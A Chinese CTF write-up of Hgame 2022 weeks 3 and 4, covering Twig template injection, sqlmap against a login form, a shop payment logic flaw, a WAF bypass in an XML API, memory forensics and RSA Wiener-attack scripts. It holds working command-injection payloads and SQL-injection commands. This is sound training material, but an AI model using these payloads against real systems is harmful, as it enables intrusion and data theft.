Hgame2022-Week3&Week4

主要做了WEB和密码


Week3

WEB

SecurityCenter

进入题目,查看一下注释

image_1fr18tgs11gvvpi614jd6r664b9.png-23.5kB

给了composer的下载包记录

image_1fr18uh2it29rrn1lcd1dde1ns3m.png-49.3kB

看到题目使用的是twig框架,题目刚出的时候想测试来着,后来就休息了,早上做饭的时候挂了awvs

image_1fr19182ji981f8f1c7vgg3nvs13.png-45.3kB

饭没吃完就报高危了,模板注入,结合框架twig,找了一下3.x.x注入payload

image_1fr192o6614dq1g961k6oi311m921g.png-48.2kB

{{["id"]|map("system")}}

测试一下

image_1fr193dmtq8r1bfj14u11e9m1i271t.png-112.8kB

成功命令执行,获取flag时候发现cat被过滤

使用php读取文件

php /flag

image_1fr195pud5imji3fqs1fbt1sch2a.png-44.4kB

发现题目对flag内容进行检测了,直接base64加密输出

{{["php+/flag|base64"]|map("system")}}

image_1fr197qfc17c5si02a31cl6s2e2n.png-50.9kB

base解码即可获取flag

Vidar shop demo

清晰记得去年的Hgame也是逻辑漏洞,购买商品,所以一拿到题目就奔着逻辑漏洞的思路去了,既然是分析逻辑漏洞,那就先理清楚题目逻辑,查看sources,获取jsmap文件

image_1fr1qb3hmen3ucb14iq1pk91sse8q.png-68.1kB

将文件格式化后保存

image_1fr1qblin19nu11ibp1b1sbbnvm97.png-64.5kB

看到了题目的各个接口

分析一下index接口应该是用户注册和登陆接口,product接口是产品展示接口,Order接口应该是处理订单接口,Pay接口应该是付款接口,根据题目,注册用户

image_1fr1qfj1p8gohi3131b3ueh8ja4.png-74.7kB

登陆

image_1fr1sa1he9igmn51vat1ar5128qah.png-84.4kB

获得token,解密后发现不存在可疑数据,继续分析

image_1fr1sauu9v831p3sdtccm4ts9au.png-79.2kB

访问用户列表

image_1fr1scoean0i1j8bv3s17dgiicbb.png-79.2kB

初始余额小于10000,查看商品列表

image_1fr1sdshs10uo1v8nt4k6t71aulbo.png-72kB

获取flag需要10000,那么我们就需要通过逻辑漏洞来绕过这个价格限制

image_1fr1sesr5131v1ha01bk314e1u86c5.png-82kB

通过访问product接口发现,所有商品是由id来进行控制的

尝试创造订单

image_1fr1sg9t51o0j1ohq157u1vee1kfeci.png-81.7kB

购买id等于7的商品,可以发现服务器返回了订单id

携带自己的用户id访问订单列表,可以查看到已经生成的订单

image_1fr1si0961gbf1ggrh9uc3p1v8acv.png-102.2kB

image_1fr1sl21g4s53s1dbirobc8jdc.png-43.8kB

尝试提交订单进行支付

image_1fr1speeda4sg7ur2gv21htqe6.png-77.2kB

订单的支付是由oid进行控制的,价格也是可控的

此时我们可以尝试构造购买flag的订单,获取oid,在pay接口下修改oid为flag订单,同时控制价格,这样即可购买flag,比如我们购买flag的oid为2892,在支付处进行修改,同时价格修改为40

image_1fr1sut4mns817l37601h51ieef0.png-80.4kB

成功返回,证明购买成功

image_1fr1svfu8s3vnul12jp1c2q1jphfd.png-20.1kB

查看列表发现购买成功,访问首页即可获取flag

image_1fr1t0b1rab8s2ujhmvguuj8fq.png-93.2kB

LoginMe

image_1fr44cl9p12ll11pn141p1cth1gtqg7.png-31.4kB

题目很明确的告诉了我们是注入,同时在提示中也告诉了我们查询语句

image_1fr44dt622i435774l2c1oqbgk.png-153.5kB

将登陆的数据包保存成离线文件,直接sqlmap跑一下

POST /login HTTP/1.1
Host: 80445b7632.login.summ3r.top:60067
Content-Length: 37
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Content-Type: application/json
Origin: http://80445b7632.login.summ3r.top:60067
Referer: http://80445b7632.login.summ3r.top:60067/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: _ga=GA1.2.765291650.1643848572; __gads=ID=cd11765cfae1e332-227388af50d000be:T=1643848571:RT=1643848571:S=ALNI_MYyV9NDi1YxdNsiyWqUUYnvz0nksw; SESSION=MTY0NDAyNTQ4NXxEdi1CQkFFQ180SUFBUkFCRUFBQUl2LUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkRBWUFCSFJsYzNRPXzTM4W4a43boon1ehAIHbFIwPmoZ9Z_2FjCBVdCIPD8ow==
Connection: close

{"username":"test*","password":"test"}
sqlmap -r sql.txt --data --union-char --tables

image_1fr44hfip1uh11u8aica16ef2srh1.png-189.1kB

获取到数据表,之后依次获取数据列和具体数据

image_1fr44l0sai0rrpa16ifj7ledphr.png-223.3kB

数据:

image_1fr44lfs91chm1k4v15e61vn61mjli8.png-202.2kB

根据获取的密码进行登陆,发现登陆失败,起初猜测是需要我们进行密码的修改,后来发现无法修改,尝试换到kali里面进行操作

为了方便,直接添加“–sql–shell”参数,执行sql语句

sqlmap -r sql.txt --data --union-char --sql-shell

image_1fr44jinbhc8gjb1noqkevp9jhe.png-206.7kB

发现查询的密码和在子系统中查询的密码不一样,使用该密码进行登陆,成功获取到flag

image_1fr44oafitv0itg1hkq1jbbobil.png-15.3kB

MISc

卡中毒

下载题目发现是raw文件,猜测是内存取证,拖入kali分析

volatility -f ACTUE.raw imageinfo

image_1fr19cvglg8d1gvon73cbk4b634.png-233.5kB

选择指定版本类型进行解析,寻找一下存在系统中存在flag的文件

volatility -f ACTUE.raw --profile=Win7SP1x64 filescan |grep "flag"

image_1fr19f23nv8mua1t2c82m1b193h.png-88kB

发现疑似被加密的flag文件,取出文件进行分析

volatility -f ACTUE.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000007f743720 --dump-dir=./

image_1fr19govantukjckpd8g311hc3u.png-60.8kB

根据文件后缀可以知道该文件为WannaRen的勒索病毒,找寻一下有无公开解密工具

image_1fr19ioaor4h15oh1b9b16jn6664b.png-87.3kB

发现火绒提供了,下载进行解密

image_1fr19jkde1ba619jncmev1186r4o.png-58.3kB

打开解密文件发现佛曰加密

image_1fr19kdjnsk718bsqmaipp1ev55.png-70.7kB

在线解密一下

image_1fr19lps117jm11oad2h333snf5i.png-115.3kB

成功获取到flag

Crypto

这些题目作为小白,特别感谢一下饿滴Vigorous,脚本都从她博客一个一个找的

RSA Attack 3

image_1fr19ptve16df4ubbc27qe1l085v.png-55.1kB

根据给的文件和加密脚本,发现特点为e的值很大,一般可以选择维纳攻击进行破解

找了网上的脚本

import gmpy2
def transform(x,y):       #使用辗转相处将分数 x/y 转为连分数的形式
    res=[]
    while y:
        res.append(x//y)
        x,y=y,x%y
    return res

def continued_fraction(sub_res):
    numerator,denominator=1,0
    for i in sub_res[::-1]:      #从sublist的后面往前循环
        denominator,numerator=numerator,i*numerator+denominator
    return denominator,numerator   #得到渐进分数的分母和分子,并返回


#求解每个渐进分数
def sub_fraction(x,y):
    res=transform(x,y)
    res=list(map(continued_fraction,(res[0:i] for i in range(1,len(res)))))  #将连分数的结果逐一截取以求渐进分数
    return res

def get_pq(a,b,c):      #由p+q和pq的值通过维达定理来求解p和q
    par=gmpy2.isqrt(b*b-4*a*c)   #由上述可得,开根号一定是整数,因为有解
    x1,x2=(-b+par)//(2*a),(-b-par)//(2*a)
    return x1,x2

def wienerAttack(e,n):
    for (d,k) in sub_fraction(e,n):  #用一个for循环来注意试探e/n的连续函数的渐进分数,直到找到一个满足条件的渐进分数
        if k==0:                     #可能会出现连分数的第一个为0的情况,排除
            continue
        if (e*d-1)%k!=0:             #ed=1 (mod φ(n)) 因此如果找到了d的话,(ed-1)会整除φ(n),也就是存在k使得(e*d-1)//k=φ(n)
            continue

        phi=(e*d-1)//k               #这个结果就是 φ(n)
        px,qy=get_pq(1,n-phi+1,n)
        if px*qy==n:
            p,q=abs(int(px)),abs(int(qy))     #可能会得到两个负数,负负得正未尝不会出现
            d=gmpy2.invert(e,(p-1)*(q-1))     #求ed=1 (mod  φ(n))的结果,也就是e关于 φ(n)的乘法逆元d
            return d
    print("该方法不适用")


e = 77310199867448677782081572109343472783781135641712597643597122591443011229091533516758925238949755491395489408922437493670252550920826641442189683907973926843505436730014899918587477913032286153545247063493885982941194996251799882984145155733050069564485120660716110828110738784644223519725613280140006783618393995138076030616463398284819550627612102010214315235269945251741407899692274978642663650687157736417831290404871181902463904311095448368498432147292938825418930527188720696497596867575843476810225152659244529481480993843168383016583068747733118703000287423374094051895724494193455175131120243097065270804457787026492578916584536863548445813916819417857064037664101684455000184987531252344582899589746272173970083733130106407810619258077266603898529285634495710846838011858287024329514491058790557305041389614650730267774482954666726949886313386881066593946789460028399523245777171320319444673551268379126203862576627540177888290265714418064334752499940587750374552330008143708562065940245637685833371348603338834447212248648869514585047871442060412622164276894766238383894693759347590977926306581080390685360615407766600573527565016914830132066428454738135380178959590692145577418811677639050929791996313180297924833690095
n =507419170088344932990702256911694788408493968749527614421614568612944144764889717229444020813658893362983714454159980719026366361318789415279417172858536381938870379267670180128174798344744371725609827872339512302232610590888649555446972990419313445687852636305518801236132032618350847705234643521557851434711389664130274468354405273873218264222293858509477860634889001898462547712800153111774564939279190835857445378261920532206352364005840238252284065587291779196975457288580812526597185332036342330147250312262816994625317482869849388424397437470502449815132000588425028055964432298176942124697105509057090546600330760364385753313923003549670107599757996810939165300581847068233156887269181096893089415302163770884312255957584660964506028002922164767453287973102961910781312351686488047510932997937700597992705557881172640175117476017503918294534205898046483981707558521558992058512940087192655700351675718815723840568640509355338482631416345193176708501897458649841539192993142790402734898948352382350766125000186026261167277014748183012844440603384989647664190074853086693408529737767147592432979469020671772152652865219092597717869942730499507426269170189547020660681363276871874469322437194397171763927907099922324375991793759 
d=wienerAttack(e,n)
print("d=",d)

解出d

image_1fr19sqp2mqfh5a5hbmqt1v3s6c.png-47.1kB

然后根据vigorous的博客

image_1fr19tmf69sad411o2e2j31hhv6p.png-51.4kB

修改值

import binascii
import gmpy2
n = 507419170088344932990702256911694788408493968749527614421614568612944144764889717229444020813658893362983714454159980719026366361318789415279417172858536381938870379267670180128174798344744371725609827872339512302232610590888649555446972990419313445687852636305518801236132032618350847705234643521557851434711389664130274468354405273873218264222293858509477860634889001898462547712800153111774564939279190835857445378261920532206352364005840238252284065587291779196975457288580812526597185332036342330147250312262816994625317482869849388424397437470502449815132000588425028055964432298176942124697105509057090546600330760364385753313923003549670107599757996810939165300581847068233156887269181096893089415302163770884312255957584660964506028002922164767453287973102961910781312351686488047510932997937700597992705557881172640175117476017503918294534205898046483981707558521558992058512940087192655700351675718815723840568640509355338482631416345193176708501897458649841539192993142790402734898948352382350766125000186026261167277014748183012844440603384989647664190074853086693408529737767147592432979469020671772152652865219092597717869942730499507426269170189547020660681363276871874469322437194397171763927907099922324375991793759
d = 13094612077654083919
c = 165251729917394529793163344300848992394021337429474789711805041655116845722480301677817165053253655027459227404782607373107477419083333844871948673626672704233977397989843349633720167495862807995411682262559392496273163155214888276398332204954185252030616473235814999366132031184631541209554169938146205402400412307638567132128690379079483633171535375278689326189057930259534983374296873110199636558962144635514392282351103900375366360933088605794654279480277782805401749872568584335215630740265944133347038070337891035560658434763924576508969938866566235926587685108811154229747423410476421860059769485356567301897413767088823807510568561254627099309752215808220067495561412081320541540679503218232020279947159175547517811501280846596226165148013762293861131544331444165070186672186027410082671602892508739473724143698396105392623164025712124329254933353509384748403154342322725203183050328143736631333990445537119855865348221215277608372952942702104088940952142851523651639574409075484106857403651453121036577767672430612728022444370874223001778580387635197325043524719396707713385963432915855227152371800527536048555551237729690663544828830627192867570345853910196397851763591543484023134551876591248557980182981967782409054277224
m = pow(c,d,n)
print(binascii.unhexlify(hex(m)[2:]))

image_1fr19v2lb150rqhm1lj11g75ee76.png-84.3kB

成功获取到flag

Multi Prime RSA

这个最开始不知道是啥意思,后来看原来比赛的石墨,发现有些类似题目叫欧拉函数,还有叫多素数的,就找了最像的脚本修改了一下

image_1fr1a46lj1arl1f48ocr11jn1cj97j.png-43.3kB

import gmpy2
import binascii
p = 61789932148719477384027458333380568978056286136137829092952317307711908353477
q = 91207969353355763685633284378833506319794714507027332929290701748727534193861
r = 105471299607375388622347272479207944509670502835651250945203397530010861809367
s = 83153238748903772448138307505579799277162652151244477391465130504267171881437
n = p*q*r*s
e = 65537
c = 844677395496466411520394190869787261209960246734415406217975986418865760680024542119231873259131861208878522030009923057991526761346423130242121884493257732067700857897379859545356609151834223804262174935191718271211809221730601602827122249238086030580971376104724987801049500689134122609834321586609223761140538079460830213824674361601046367637227094018381901291488659642720549583856812747877519600804325570421770575999289389175021646347371879234023647657507178519047236746071420327155188213839293382288787853777540226192644761028822256165706787395891134765908229036044468473519166141610604791485071702808854944672418124203289328124793348198048601338476086482318248264508789781967910205393740835345086784345145351367491197717933757414967811594913692588314161669333147733048171044386546892346475181197482702164468542430187885074163177843285948999943328049159021873821254267471067523609151007885131921896462161216356454116929796355815756642621369974260365378070336290542971599886325232821981080341858950609157813769416455337935096696635623426418166316737131174435618543058086342714723330814586496030805366321181723292731710369013923285787724941830672247377301048663929453294620044701627159066468762709113137517559435822623284148112827473010030736329596829357275518641576798298066541516764673029908084962144713
phi = (p-1)*(q-1)*(r-1)*(s-1)
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
print(binascii.unhexlify(hex(m)[2:]))

image_1fr1a5qq0167t6tm1lia17eop1i80.png-115.3kB

Week4

WEB

Comment

根据题目提示,下载www.zip,分析api.php

image_1fs5680jdcqp18961c3k1dhc1hf09.png-50.6kB

查看程序执行顺序

程序根据action不同参数执行不同函数,首先查看get函数

image_1fs5embac1ch9sj1r1d45v1b8b9.png-54.8kB

比较简单的函数功能,将session的值作为id进行数据库的查询,将数据库查询的数据,添加到输出的数组中去,不过这里又调用了一个自定义函数parseXML,分析一下功能

image_1fs5futnv163oq1deq7hco1jgc13.png-105.1kB

函数前面功能主要是对传输的xml数据进行格式校验和数据比对

image_1fs5g18f416v2huk1vvq1css6rk1g.png-18.9kB

这里对传输的两个参数数据进行waf的比对,我们查看一下waf函数

image_1fs5g24ffjukh9n906ccv1lhq1t.png-21.5kB

常见的一些攻击函数,最后一个条件判断比较关键,涉及到flag的获取方式

image_1fs5g3c8q111m16jvg7h1u0e1gie2a.png-23.1kB

只要sender参数为admin,同时传输的字符串中没有出现admin字符时,会讲响应的content参数,替换为flag输出,所以我们需要的就是想法将sender的值变为admin,查看一下传输相关的函数,save函数

image_1fs5g993sb9o1nep1v0re8fahs2n.png-95.5kB

同样函数对我们传输的数据进行了比对,主要是将我们传输的数据保存在数据库中以便别的函数调用,同时生成session中的unique_id

最后看一下info接口

image_1fs5gneul2gn1lb4khc14cs15gh34.png-12.1kB

将unique_id转变为session中的unique_id

根据我们对题目代码的分析,理清一下攻击思路,我们要获取flag就要传输sender参数为admin,同时还有一个参数content数值随便,然后通过parsexml将content替换为flag,因为数据是xml进行传输的,我们传输的格式也应该为xml类型的,同时要通过unique_id进行数据的传输和查询,这里可以通过info获取,所以我们首先在add参数处传输数据,之后在info参数处获取id,之后通过获取的id在get参数处进行数据的获取

查询js文件获取接口

image_1fs5j6ake1h7qqpq98t1vflrf83h.png-47.1kB

首先在add接口处构造数据输入

image_1fs5l6iob1l3p1jk61ojl1is43rj3u.png-100.7kB

在info处获取id

image_1fs5l72ol1mt0d3o15vsh5n1eji4b.png-129.1kB

在get处传输id获取数据

image_1fs5l8d07vlf152sk6g1ghg1ra84o.png-129.5kB

发现传输的数据没有成功替换,证明我们没有通过该检测,这里可以尝试编码进行绕过

image_1fs5lbu5l2h811m11btpf4g15ho55.png-121.8kB

此时访问get接口即可成功获取到flag

image_1fs5lcps434plp514qt1lveipr5i.png-117.3kB


发表评论

邮箱地址不会被公开。 必填项已用*标注